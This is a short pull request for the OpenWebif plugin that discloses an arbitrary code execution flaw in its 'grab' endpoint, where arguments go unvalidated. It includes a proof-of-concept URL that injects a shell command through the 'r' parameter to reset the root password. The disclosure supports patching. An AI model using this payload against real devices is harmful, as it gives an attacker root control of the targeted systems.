E2OpenPlugins/e2openplugin-OpenWebif — pull request #116 by athoik (2014-02-16 16:03:28+00:00)
Title: Grab: Arbitary code execution

Grab suffers from arbitary code execution because it doesn't validate arguments passed to grab.

Proof of Concept:

```
http://IP/grab?format=jpg&r=10000%20||%20echo%20root:12345%20|%20chpasswd%20||&mode=all×tamp=12345
```